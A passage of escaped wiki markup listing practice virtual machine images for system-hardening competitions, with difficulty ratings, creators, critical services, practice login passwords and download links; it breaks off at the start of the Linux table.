| 5 || Hard&lt;br /&gt;
|-&lt;br /&gt;
| 6 || Hard – Super Hard&lt;br /&gt;
|-&lt;br /&gt;
| 7 || Super Hard&lt;br /&gt;
|-&lt;br /&gt;
| 8 || Super-Duper Hard&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Rating&#039;&#039;&#039; is the average score out of 10 from the community&#039;s [https://forms.gle/MMC29FrJ8oQUmKNg8 rating form]. A dash means no rating yet. Difficulty and ratings are opinions, not measurements.&lt;br /&gt;
&lt;br /&gt;
== Windows ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable sortable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Image&lt;br /&gt;
! OS&lt;br /&gt;
! Difficulty&lt;br /&gt;
! Rating&lt;br /&gt;
! Creator&lt;br /&gt;
! Critical services / apps&lt;br /&gt;
! class=&amp;quot;unsortable&amp;quot; | Notes&lt;br /&gt;
! class=&amp;quot;unsortable&amp;quot; | Download&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Troy Windows 10 Mock&#039;&#039;&#039;&lt;br /&gt;
| Windows 10&lt;br /&gt;
| data-sort-value=&amp;quot;8&amp;quot; | 8 – Super-Duper Hard&lt;br /&gt;
| data-sort-value=&amp;quot;8.0&amp;quot; | 8&lt;br /&gt;
| dudcom&lt;br /&gt;
| Netscape Navigator, MobaXTerm, Nginx, VSCode, ThunderBird, MySQL, BitComet&lt;br /&gt;
| —&lt;br /&gt;
| [https://drive.google.com/drive/folders/1dG-Xc7FsrCa_agSrjegMmlY8Ze0LI-jk?usp=drive_link Google Drive folder]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Beyond Journey&#039;s End&#039;&#039;&#039;&lt;br /&gt;
| Windows Server 2022&lt;br /&gt;
| data-sort-value=&amp;quot;7&amp;quot; | 7 – Super Hard&lt;br /&gt;
| data-sort-value=&amp;quot;8.0&amp;quot; | 8&lt;br /&gt;
| HIOOOO1234&lt;br /&gt;
| Active Directory, DNS, RDP&lt;br /&gt;
| Login: &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;Frieren&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt; / &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;Password1!&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
| [https://drive.google.com/file/d/1PRe5T9WXljVBh2e9CBqCpzObezsBb-HH/view?usp=sharing Google Drive]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Middlesea Hospital&#039;&#039;&#039;&lt;br /&gt;
| Windows Server 2025&lt;br /&gt;
| data-sort-value=&amp;quot;7&amp;quot; | 7 – Super Hard&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | —&lt;br /&gt;
| carbonice&lt;br /&gt;
| —&lt;br /&gt;
| Not released yet when the source list was compiled.&lt;br /&gt;
| —&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Tokyo-3 Server&#039;&#039;&#039;&lt;br /&gt;
| Windows Server 2025&lt;br /&gt;
| data-sort-value=&amp;quot;7&amp;quot; | 7 – Super Hard&lt;br /&gt;
| data-sort-value=&amp;quot;9.0&amp;quot; | 9&lt;br /&gt;
| x1nni&lt;br /&gt;
| ApacheDS, pGina, MySQL, IIS (running Pydio 8), DNS, RDP, WinRM&lt;br /&gt;
| Login: &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;sikari&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt; / &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;IMu$t(N0t)Run&amp;amp;w4y&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
| [https://ejinnis.ca/practice-images/tokyo-3/ Author&#039;s page]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Baldis Basics&#039;&#039;&#039;&lt;br /&gt;
| Windows Server 2022&lt;br /&gt;
| data-sort-value=&amp;quot;7&amp;quot; | 7 – Super Hard&lt;br /&gt;
| data-sort-value=&amp;quot;9.5&amp;quot; | 9.5&lt;br /&gt;
| Donkey (d0nkeyman)&lt;br /&gt;
| Active Directory (Domain Services, DNS)&lt;br /&gt;
| —&lt;br /&gt;
| [https://drive.google.com/file/d/1woYKSkHiBAZI92D2ihTE72LNLABaGtXv/edit Google Drive]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;King Arthurs Castle&#039;&#039;&#039;&lt;br /&gt;
| Windows Server 2019&lt;br /&gt;
| data-sort-value=&amp;quot;7&amp;quot; | 7 – Super Hard&lt;br /&gt;
| data-sort-value=&amp;quot;10.0&amp;quot; | 10&lt;br /&gt;
| Altoid0&lt;br /&gt;
| AD:DS, DNS, Dimension4, RDP&lt;br /&gt;
| Login: &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;Arthur&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt; / &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;CyberPatriot1!&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
| [https://drive.google.com/file/d/13OBAXsv408TQJ-WtNMc-mUEe2IBvI-UV/view?usp=share_link Google Drive]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Dead by Daylight&#039;&#039;&#039;&lt;br /&gt;
| Windows Server 2019&lt;br /&gt;
| data-sort-value=&amp;quot;7&amp;quot; | 7 – Super Hard&lt;br /&gt;
| data-sort-value=&amp;quot;10.0&amp;quot; | 10&lt;br /&gt;
| lolmenow&lt;br /&gt;
| Active Directory (Domain Services, DNS), DHCP&lt;br /&gt;
| Login: &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;David&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt; / &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;Th3_Ent1ty_Re4lm!&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
| [https://drive.google.com/file/d/1hWs8oLxXI1Ar0QaZSg0yTiQjHI_SPznd/view?usp=sharing Google Drive]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Princeton-Plainsboro Teaching Hospital (PPTH)&#039;&#039;&#039;&lt;br /&gt;
| Windows 11&lt;br /&gt;
| data-sort-value=&amp;quot;6&amp;quot; | 6 – Hard - Super Hard&lt;br /&gt;
| data-sort-value=&amp;quot;9.0&amp;quot; | 9&lt;br /&gt;
| x1nni&lt;br /&gt;
| SMB, RDP, Counter Strike Server (SRCDS)&lt;br /&gt;
| —&lt;br /&gt;
| [https://ejinnis.ca/practice-images/princeton-plainsboro-teaching-hospital/ Author&#039;s page]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Alphabet Soup&#039;&#039;&#039;&lt;br /&gt;
| Windows 10&lt;br /&gt;
| data-sort-value=&amp;quot;6&amp;quot; | 6 – Hard - Super Hard&lt;br /&gt;
| data-sort-value=&amp;quot;8.0&amp;quot; | 8&lt;br /&gt;
| swiftsnails&lt;br /&gt;
| RDP&lt;br /&gt;
| —&lt;br /&gt;
| [https://drive.google.com/file/d/1zTLpm26kZowc4mdNwrDv33RsCV-fj4-i/view Google Drive]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Sunrise Foundation Training Simulation&#039;&#039;&#039;&lt;br /&gt;
| Windows Server 2022&lt;br /&gt;
| data-sort-value=&amp;quot;6&amp;quot; | 6 – Hard - Super Hard&lt;br /&gt;
| data-sort-value=&amp;quot;9.0&amp;quot; | 9&lt;br /&gt;
| carbonice&lt;br /&gt;
| Active Directory (Domain Services, Certificate Services, DNS), IIS, RDP, SMTP (MailEnable), SMB&lt;br /&gt;
| Login: &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;adminaccount&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt; / &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;G0oDLuCK!!&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;br /&amp;gt;Extraction password: &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;1658502732&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;br /&amp;gt;Treat &amp;lt;code&amp;gt;READMETOO.txt&amp;lt;/code&amp;gt; as an extension of the usual README.&lt;br /&gt;
| [https://drive.google.com/file/d/1mm9jIRGv-OeGnywhIZgn4XcJV4fHjJGc/view?usp=sharing Google Drive]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Mushroom Kingdom&#039;&#039;&#039;&lt;br /&gt;
| Windows Server 2019&lt;br /&gt;
| data-sort-value=&amp;quot;6&amp;quot; | 6 – Hard - Super Hard&lt;br /&gt;
| data-sort-value=&amp;quot;8.0&amp;quot; | 8&lt;br /&gt;
| Magistrate&lt;br /&gt;
| IIS, Active Directory DNS, Active Directory Domain Services, Microsoft SQL, SMB, PHP&lt;br /&gt;
| Login: &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;Mario&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt; / &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;S3cure%The%Shr00ms&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;br /&amp;gt;Extraction password: &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;MushroomMan64&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
| [https://drive.google.com/file/d/1KR1mnH5k5XGTOEJ-FdnYbZvLl12yMlQO/view Google Drive]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Hunter Management&#039;&#039;&#039;&lt;br /&gt;
| Windows Server 2022&lt;br /&gt;
| data-sort-value=&amp;quot;5&amp;quot; | 5 – Hard&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | —&lt;br /&gt;
| Unknown&lt;br /&gt;
| Active Directory (Domain Services, Directtory Certificate Services), DNS, and RDP&lt;br /&gt;
| Login: &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;Adminstrator&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt; / &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;CyberPatriot123!&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
| [https://drive.google.com/file/d/1by2aGa7zifXDvJMXKp2F7CEP0Am91Hq3/view?usp=drive_link Google Drive]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Town of Salem&#039;&#039;&#039;&lt;br /&gt;
| Windows Server 2022&lt;br /&gt;
| data-sort-value=&amp;quot;5&amp;quot; | 5 – Hard&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | —&lt;br /&gt;
| many_overcomplications&lt;br /&gt;
| —&lt;br /&gt;
| —&lt;br /&gt;
| [https://drive.google.com/file/d/1zD4LH7bWTvrJT3l0pJ906jgcWiDOjCIo/view?usp=sharing Google Drive]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Startup Central&#039;&#039;&#039;&lt;br /&gt;
| Windows Server 2022&lt;br /&gt;
| data-sort-value=&amp;quot;5&amp;quot; | 5 – Hard&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | —&lt;br /&gt;
| zyncist&lt;br /&gt;
| —&lt;br /&gt;
| Login: &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;Administrator&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt; / &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;Cyberpatriot21&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;br /&amp;gt;The source list was unsure where this download lives, so the link may not work.&lt;br /&gt;
| [https://scoreboard.titanturtles.xyz/files/c/TeamAssignmentTests/CP18/SharedWindowsTeamAssingment.7z Direct download (.7z)]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Aperture Science (Windows)&#039;&#039;&#039;&lt;br /&gt;
| Windows 10&lt;br /&gt;
| data-sort-value=&amp;quot;5&amp;quot; | 5 – Hard&lt;br /&gt;
| data-sort-value=&amp;quot;9.5&amp;quot; | 9.5&lt;br /&gt;
| infernushawk&lt;br /&gt;
| OpenSSH Server, FileZilla Server, SMB, RDP&lt;br /&gt;
| Three-part download: extract the first file with 7-Zip and the rest should follow. The links and extra details are in a Discord message.&lt;br /&gt;
| [https://discord.com/channels/301768361136750592/1058312750905954397/1153448304768716862 Discord message (needs Discord access)]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Windows Persistence Practice Image&#039;&#039;&#039;&lt;br /&gt;
| Windows Server 2025&lt;br /&gt;
| data-sort-value=&amp;quot;5&amp;quot; | 5 – Hard&lt;br /&gt;
| data-sort-value=&amp;quot;9.0&amp;quot; | 9&lt;br /&gt;
| pumpkinjones6_02843&lt;br /&gt;
| —&lt;br /&gt;
| Scores only &#039;&#039;persistence&#039;&#039;: the methods attackers use to keep access to a machine.&lt;br /&gt;
| [https://drive.google.com/file/d/1xASQTw2yEdzUiEp02hQ0N0n2uceUUGPK/view Google Drive]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Lobotomy Corporation First Trumpet&#039;&#039;&#039;&lt;br /&gt;
| Windows Server 2022&lt;br /&gt;
| data-sort-value=&amp;quot;5&amp;quot; | 5 – Hard&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | —&lt;br /&gt;
| carbonice&lt;br /&gt;
| Active Directory (Domain Services, Certificate Services, DNS), IIS (MediaWiki), MySQL, RDP&lt;br /&gt;
| &#039;&#039;&#039;Warning:&#039;&#039;&#039; this was a rushed test image that was never meant for public use and has many problems; the author plans to replace it.&amp;lt;br /&amp;gt;Login: &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;sysAdmin&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt; / &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;Password123!&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;br /&amp;gt;Three-part zip: extract part 1 with 7-Zip in the same folder as parts 2 and 3.&lt;br /&gt;
| [https://drive.google.com/file/d/1Cs6egjX1yokZRGq8SmdLsHcgx0qwVl90/view Google Drive]&amp;lt;br /&amp;gt;[https://drive.google.com/file/d/1mN8yucgD31tVIJgWRkfYyRvegLsFHLS2/view?usp=sharing Part 1]&amp;lt;br /&amp;gt;[https://drive.google.com/file/d/1Gp22ccrHR680o9Gdi52SvZEliBRpm0G8/view?usp=sharing Part 2]&amp;lt;br /&amp;gt;[https://drive.google.com/file/d/1mo-r28xlR7aN4TUlEJGuHAkHss8W5lt1/view?usp=sharing Part 3]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Policy Violation Image&#039;&#039;&#039;&lt;br /&gt;
| Windows 11&lt;br /&gt;
| data-sort-value=&amp;quot;5&amp;quot; | 5 – Hard&lt;br /&gt;
| data-sort-value=&amp;quot;10.0&amp;quot; | 10&lt;br /&gt;
| lolmenow (lolmeow)&lt;br /&gt;
| what do you think?&lt;br /&gt;
| Focuses only on the Policy Violation categories (malware, prohibited files, unwanted software) plus Forensic Questions; no other vulnerability categories.&amp;lt;br /&amp;gt;TPM password: &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;CyberSquadViolations!&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
| [https://drive.google.com/file/d/1c1Zxr0AYk3gE_yUH_1vwxNETEmezvbBj/view Google Drive]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;District 13&#039;&#039;&#039;&lt;br /&gt;
| Windows Server 2022&lt;br /&gt;
| data-sort-value=&amp;quot;4&amp;quot; | 4 – Medium - Hard&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | —&lt;br /&gt;
| brody001301&lt;br /&gt;
| ADDS, ADCS, IIS, SQL&lt;br /&gt;
| A walkthrough exists. Play the image until you are truly out of ideas before you open it.&lt;br /&gt;
| [https://drive.google.com/file/d/1EJXcC2SP3awuIjON9y655dLO4eZPZkmW/view?usp=sharing Google Drive]&amp;lt;br /&amp;gt;[https://docs.google.com/document/d/1PRwvl90g5WWAy7ODXa62Na7GSnWk_gACh91aF1vJ4uY/edit?usp=sharing Walkthrough (spoilers)]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;DPRK Server&#039;&#039;&#039;&lt;br /&gt;
| Windows Server 2025&lt;br /&gt;
| data-sort-value=&amp;quot;4&amp;quot; | 4 – Medium - Hard&lt;br /&gt;
| data-sort-value=&amp;quot;10.0&amp;quot; | 10&lt;br /&gt;
| lolmenow (lolmeow), SG, a_person&lt;br /&gt;
| Active Directory (Domain Services, Certificate Services), RDP, SMB, VBS&lt;br /&gt;
| Login: &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;Kim Jong Un&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt; / &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;N0rThKoR3@thEGo@t!!&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
| [https://drive.google.com/file/d/1FJ9ZxVpQDMaX29SVykuNW1LMODr3BAGu/view?usp=sharing Google Drive]&amp;lt;br /&amp;gt;[https://sakouk.me/cyberpatriot#democratic-peoples-republic-of-korea Further information]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Among the Reindeer&#039;&#039;&#039;&lt;br /&gt;
| Windows 10&lt;br /&gt;
| data-sort-value=&amp;quot;4&amp;quot; | 4 – Medium - Hard&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | —&lt;br /&gt;
| Magistrate&lt;br /&gt;
| SMB&lt;br /&gt;
| —&lt;br /&gt;
| [https://drive.google.com/file/d/1h1P-BAwL5Pdm6l1GwWmbbDb2BnW3M6UE/view Google Drive]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;My Little Pony&#039;&#039;&#039;&lt;br /&gt;
| Windows 10&lt;br /&gt;
| data-sort-value=&amp;quot;4&amp;quot; | 4 – Medium - Hard&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | —&lt;br /&gt;
| Donkey (d0nkeyman)&lt;br /&gt;
| FTP Server&lt;br /&gt;
| The author warns: do not open this image in a public place such as a library.&lt;br /&gt;
| [https://drive.google.com/file/d/1Og8lIMVqGKKenFXTpWYhA8X-szXyRtcY/view Google Drive]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;System Hardening 9&#039;&#039;&#039;&lt;br /&gt;
| Windows Server 2022&lt;br /&gt;
| data-sort-value=&amp;quot;3&amp;quot; | 3 – Medium&lt;br /&gt;
| data-sort-value=&amp;quot;8.3&amp;quot; | 8.3&lt;br /&gt;
| firepony57&lt;br /&gt;
| SMTP (MailEnable), IIS&lt;br /&gt;
| Login: &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;frodo&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt; / &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;Pa$$w0rd10&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
| [https://drive.google.com/file/d/1qPkE62na-Io3lQcCrd0aXMEqt3ItjBpq/view Google Drive]&amp;lt;br /&amp;gt;[https://eth007.me/cypat/syshardening9/ Image page]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Kalis Windows Image&#039;&#039;&#039;&lt;br /&gt;
| Windows 10&lt;br /&gt;
| data-sort-value=&amp;quot;3&amp;quot; | 3 – Medium&lt;br /&gt;
| data-sort-value=&amp;quot;9.0&amp;quot; | 9&lt;br /&gt;
| KaliPatriot&lt;br /&gt;
| OpenSSH, File Sharing (smb)&lt;br /&gt;
| —&lt;br /&gt;
| [https://drive.google.com/file/d/1FzzYG7haDwrz4D69MtKGDifDpqNWcg5q/view?usp=sharing Google Drive]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Windows 7 Advanced&#039;&#039;&#039;&lt;br /&gt;
| Windows 7&lt;br /&gt;
| data-sort-value=&amp;quot;3&amp;quot; | 3 – Medium&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | —&lt;br /&gt;
| Unknown&lt;br /&gt;
| —&lt;br /&gt;
| One of several older images in a shared Google Drive folder.&lt;br /&gt;
| [https://drive.google.com/drive/folders/1LY_nvNZwJ9AxKO-fQCg7q08cNjVJhfKv Google Drive folder]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Windows 7 Intermediate&#039;&#039;&#039;&lt;br /&gt;
| Windows 7&lt;br /&gt;
| data-sort-value=&amp;quot;2&amp;quot; | 2 – Easy - Medium&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | —&lt;br /&gt;
| Unknown&lt;br /&gt;
| —&lt;br /&gt;
| One of several older images in a shared Google Drive folder.&lt;br /&gt;
| [https://drive.google.com/drive/folders/1LY_nvNZwJ9AxKO-fQCg7q08cNjVJhfKv Google Drive folder]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Cincinnati Zoo&#039;&#039;&#039;&lt;br /&gt;
| Windows 10&lt;br /&gt;
| data-sort-value=&amp;quot;2&amp;quot; | 2 – Easy - Medium&lt;br /&gt;
| data-sort-value=&amp;quot;8.3&amp;quot; | 8.3&lt;br /&gt;
| Donkey (d0nkeyman)&lt;br /&gt;
| SMB&lt;br /&gt;
| —&lt;br /&gt;
| [https://drive.google.com/file/d/1ai3vff_pS_rABc8hsnE_0uv08MOZiB1W/view Google Drive]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Jason&#039;&#039;&#039;&lt;br /&gt;
| Windows Server 2022&lt;br /&gt;
| data-sort-value=&amp;quot;1&amp;quot; | 1 – Easy&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | —&lt;br /&gt;
| Unknown&lt;br /&gt;
| Active Directory Domain Service (ADDS), DNS&lt;br /&gt;
| Login: &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;Administrator&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt; / &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;GoTroyCyber!&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt;&amp;lt;br /&amp;gt;Forensics questions are in &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;C:\Users\Jason\Desktop&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt;.&amp;lt;br /&amp;gt;Reinstalling VMware Tools is recommended for a smoother experience.&lt;br /&gt;
| [https://drive.google.com/file/d/1hxRrVfQAuopYrDO70Qmm6YPk3NsXQLOu/view?usp=drive_link Google Drive]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Santas Workshop&#039;&#039;&#039;&lt;br /&gt;
| Windows 10&lt;br /&gt;
| data-sort-value=&amp;quot;1&amp;quot; | 1 – Easy&lt;br /&gt;
| data-sort-value=&amp;quot;6.0&amp;quot; | 6&lt;br /&gt;
| Magistrate&lt;br /&gt;
| BioniX Video Wallpaper (leave it alone)&lt;br /&gt;
| —&lt;br /&gt;
| [https://drive.google.com/file/d/1T7Lj5rHqq3JD2O1tZf_24vTytdOKytXO/view Google Drive]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Windows 7 Beginner&#039;&#039;&#039;&lt;br /&gt;
| Windows 7&lt;br /&gt;
| data-sort-value=&amp;quot;1&amp;quot; | 1 – Easy&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | —&lt;br /&gt;
| Unknown&lt;br /&gt;
| —&lt;br /&gt;
| One of several older images in a shared Google Drive folder.&lt;br /&gt;
| [https://drive.google.com/drive/folders/1LY_nvNZwJ9AxKO-fQCg7q08cNjVJhfKv Google Drive folder]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Windows 7 Elk Grove&#039;&#039;&#039;&lt;br /&gt;
| Windows 7&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | 0 – Unrated&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | —&lt;br /&gt;
| Unknown&lt;br /&gt;
| —&lt;br /&gt;
| One of several older images in a shared Google Drive folder.&lt;br /&gt;
| [https://drive.google.com/drive/folders/1LY_nvNZwJ9AxKO-fQCg7q08cNjVJhfKv Google Drive folder]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Windows Server 2016&#039;&#039;&#039;&lt;br /&gt;
| Windows Server 2016&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | 0 – Unrated&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | —&lt;br /&gt;
| Unknown&lt;br /&gt;
| —&lt;br /&gt;
| One of several older images in a shared Google Drive folder.&lt;br /&gt;
| [https://drive.google.com/drive/folders/1LY_nvNZwJ9AxKO-fQCg7q08cNjVJhfKv Google Drive folder]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Infinity War&#039;&#039;&#039;&lt;br /&gt;
| Windows 10&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | 0 – Unrated&lt;br /&gt;
| data-sort-value=&amp;quot;9.5&amp;quot; | 9.5&lt;br /&gt;
| Unknown&lt;br /&gt;
| Notepad++, Acrobat Reader XI, Firefox&lt;br /&gt;
| These are programs rather than services; the image&#039;s README lists them.&lt;br /&gt;
| [https://drive.google.com/file/d/1ORNNOwuy-PhGVsqR-OFykTS6CsDDL23o/view Google Drive]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Pontiac&#039;&#039;&#039;&lt;br /&gt;
| Windows 10&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | 0 – Unrated&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | —&lt;br /&gt;
| Unknown&lt;br /&gt;
| —&lt;br /&gt;
| —&lt;br /&gt;
| [https://drive.google.com/file/d/1qMPyLA76h2RTUu95IxE3cwRstacT8-HJ/view Google Drive]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Titan&#039;&#039;&#039;&lt;br /&gt;
| Windows 10&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | 0 – Unrated&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | —&lt;br /&gt;
| Unknown&lt;br /&gt;
| —&lt;br /&gt;
| —&lt;br /&gt;
| [https://drive.google.com/file/d/1sPRayHz74vLBL8KrQNO1JdAVzQQ2YpSB/view Google Drive]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Generic Windows 2022 Practice&#039;&#039;&#039;&lt;br /&gt;
| Windows Server 2022&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | 0 – Unrated&lt;br /&gt;
| data-sort-value=&amp;quot;1.0&amp;quot; | 1&lt;br /&gt;
| Unknown&lt;br /&gt;
| —&lt;br /&gt;
| Login: &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;dva&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt; / &amp;lt;code&amp;gt;&amp;lt;nowiki&amp;gt;enemyspotted&amp;lt;/nowiki&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
| [https://drive.google.com/file/d/1JUQLly7S0m980L1kEm7tH2bKvjwklVcb/view Google Drive]&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;Skip Brewer (?)&#039;&#039;&#039;&lt;br /&gt;
| Windows 10&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | 0 – Unrated&lt;br /&gt;
| data-sort-value=&amp;quot;0&amp;quot; | —&lt;br /&gt;
| Unknown&lt;br /&gt;
| —&lt;br /&gt;
| One of several older images in a shared Google Drive folder.&lt;br /&gt;
| [https://drive.google.com/drive/folders/1LY_nvNZwJ9AxKO-fQCg7q08cNjVJhfKv Google Drive folder]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Linux ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable sortable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Image&lt;br /&gt;
! OS&lt;br /&gt;
! Difficulty&lt;br /&gt;
! Rating&lt;br /&gt;
! Creator&lt;br /&gt;
! Critical services&lt;br /&gt;
! class=&amp;quot;unsortable&amp;quot; | Notes&lt;br /&gt;
! class=&amp;quot;unsortable&amp;quot; | Download&lt;br /&gt;
|-&lt;br /&gt;
| &#039;&#039;&#039;eth007&#039;s Arena (Ubuntu 22)&#039;&#039;&#039;&lt;br /&gt;
| Ubuntu 22&lt;br /&gt;
| data-sort-value=&amp;quot;7&amp;quot; | 7 – Super Hard&lt;br /&gt;
| data-sort-value=&amp;quot;7.0&amp;quot; | 7&lt;br /&gt;
| eth007&lt;br /&gt;
| SSH (openssh-server), Samba server (smbd), Elasticsearch, Kibana, Logstash, Filebeat&lt;br /&gt;
| —&lt;br /&gt;
| [https://drive.google.com/file/d/1qpe6mq5QS0s8ee-Z-fO4Yktm7Bx_Kl79/view?usp=drive_link Google Drive]&lt;br /&gt;
|-&lt;br /&gt;
